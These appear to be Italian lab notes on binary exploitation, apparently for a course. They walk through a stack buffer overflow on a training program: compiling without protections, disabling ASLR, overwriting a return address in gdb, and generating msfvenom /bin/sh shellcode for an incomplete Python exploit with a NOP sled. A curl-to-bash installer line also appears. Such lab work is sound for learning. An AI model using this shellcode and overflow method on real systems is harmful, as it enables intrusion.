[Lab 0] Binary exploitation

Scaricare questo tool:

Analisi statica

```
ghidra
```

```
IDA free
```

Esempi di compilazione di file:

```
gcc -m64 -fno-stack-protector -z execstack -o find_record find_record.c
```

- m64 per farlo in x64
- -fno-stack-protector rimuove la protezione dello stack (disabilito le canaries)

così posso vedere info sul file

```
file nome_file
```

IDA FREE

in IDA per migliorare la visibilità posso fare

```
view -> open subwievs -> generate pseudocode
```

per vedere in che posizione si trova una funzione:

```
seleziona la funzione -> guarda hex -> vedi tipo 0011A0 ecc
IDA FREE
```

Cosa fare

```
seguire dove va a finire l'input dell'utente
```

Analisi dinamica

tools:

```
gdb -> sudo apt install gdb
```

Servono dei plugin per migliorare l'uso di gdb:

```
gdb peda
```

```
gef
```

- più aggiornato, lo trovo su github

Per istallare GEF:

```
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
```

Un tool utile per trovare offset ecc è:

```
objdump -D nome_eseguibile
```

- -D per decompilare il binario

Un altro tool è

```
checksec -> sudo apt install checksec
```

Come lo uso

```
checksec --file= nome_binario
```

- mi dice quali opzioni di sicurezza ci sono sul file binario

COME USARE GDB

```
gdb ./nome_binario
```

per settare un break point

```
b main
```

- mette un breakpoint sulla funzione main

per eseguire il programma

```
run parametri_input_del_programma
```

se voglio avanzare di una singola istruzione alla volta faccio:

```
si
```

se voglio eseguire tutto il programma fino al prossimo breakpoint

```
continue

#oppure c
```

Se voglio spostarmi direttamente su una funzione che non è mai chiamata posso spostarmi direttamente così:

```
#sempre dentro gdb

disass secret_function
```

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

PER SEMPLICITA DISATTIVO LA ASRL

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

per riattivarla sul sistema

```
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

per vedere gli indirizzi di un file

```
ldd file_binario
```

Trovare le funzioni di un programma senza gidra ecc:

```
readelf -s nome_file  | grep i func
```

Cosa posso fare per trovare gli indirizzi di due funzioni e la distanza

```
objdump -D find_record | grep "secret_function"
```

prendo l'indirizzo in cui inizia l'esecuzione del file e faccio la differenza hex con quello di secret function

- secret function indirizzo - inidirizzo inizio dell'esecuzione

su gdb faccio

```
set *(void **)($rbp +8) = indirizzo a cui saltare (ovvero quello corrente + il valore della differenza calcolata prima)
```

Vedere address di inizio del file

```
#in gdb

disass file_binario
```

PASSI DA FARE (vuln.c)

Compilare senza sicurezza

```
gcc -m64 -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -o vuln vuln.c
```

DIsattivare ASRL

```
sudo su

echo 0 > /proc/sys/kernel/randomize_va_space
```

aprire gdb

```
gdb vuln
```

mettere breakpoint sul main

```
b *main
```

pattern create dentro gdb

```
pattern create 250
```

disassemblare la funzione greet_me

```
disass greet_me
```

mettere breakpoit sulla ret di greet_me

```
b *indirizzo ret
```

gli passo

```
./vuln $(python3 exploit.py)
```

avendo 216 caratteri

La cosa migliore da fare è inserire delle nop slides invece di mettere direttamente l'indirizzo dello shellcode che vogliamo far eseguire in modo da essere sicuri che venga eseguito il nostro codice malevolo.

costruire shellcode

```
msfvenom -p linux/x64/exec "/bin/sh" -f c
```

- compila la chiamata alla funzione exec di linux con /bin/sh quindi apre una shell

PER EVITARE PROBLEMI CON I BAD CHARS:

```
msfvenom -p linux/x64/exec "/bin/sh" -b "\x00\x0d\x0a" -f c
```

- sono quelli che danno problemi

Aggiungi il risultato al file python e cambiare un po'

```python
import sys
import struct

# nop slides, così sto sicuro
nop = b"\x90"*8

#generato con msfvenom
shell_code = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"

#ora mi riempio di A tranne la lunghezza dello shell code e delle nop
buf = b"A"* (216 - len(nop) - len(shell_code))

#siamo in 64 bit quindi mi servono 8 bit per scrivere un indirizzo
buf += b"B" * 8

buf += b"C" * 8

#mi serve per stampare bytes
sys.stdout.buffer.write(buf)
```

oppure vado su un sito

```
shell-storm.org
```

```
gdb vuln
b *main
run $(python3 exploit_nop)
b *indirizzo ret di greet me
```

se vedo gli indirizzi dei 100 indirizzi meno 216 da rsp ,mi aspetto di vedere x90x90 (nop)

```
x/100x $rsp-216
```

copio l'indirizzo dove iniziano x90 e lo metto nell'exploit per inseririlo dentro l'eip

```

```

RETURN TO LIBC

vedere script